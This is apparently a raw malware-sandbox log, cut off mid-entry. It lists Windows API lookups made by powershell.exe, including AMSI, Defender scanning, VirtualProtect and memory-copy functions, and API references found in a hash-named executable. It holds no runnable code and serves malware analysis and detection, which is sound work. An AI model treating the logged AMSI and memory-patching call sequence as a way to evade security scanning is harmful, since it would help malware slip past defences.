CreatePrivateNamespaceW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCPW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter lstrlenA (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateFileMapping (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateFileMappingW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CopyMemory (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CopyMemoryA (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RtlMoveMemory (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00006632)32:T9b46,Found reference to API (Indicator: "RegEnumValueW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegEnumKeyW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegQueryValueExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegSetValueExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegCloseKey"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegDeleteValueW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegDeleteKeyW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegOpenKeyExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegCreateKeyExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SHFileOperationW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SHGetFileInfoW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "ShellExecuteExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "IIDFromString"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CoCreateInstance"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "OleUninitialize"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "OleInitialize"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "FillRect"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetClientRect"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "BeginPaint"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "DefWindowProcW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "InvalidateRect"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "EnableWindow"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "ReleaseDC"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetDC"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "LoadImageW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "IsWindow"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "wsprintfW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "ShowWindow"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "PostQuitMessage"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetWindowTextW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetTimer"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "DestroyWindow"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CharNextW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CreateWindowExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SystemParametersInfoW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegisterClassW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "ScreenToClient"; File: 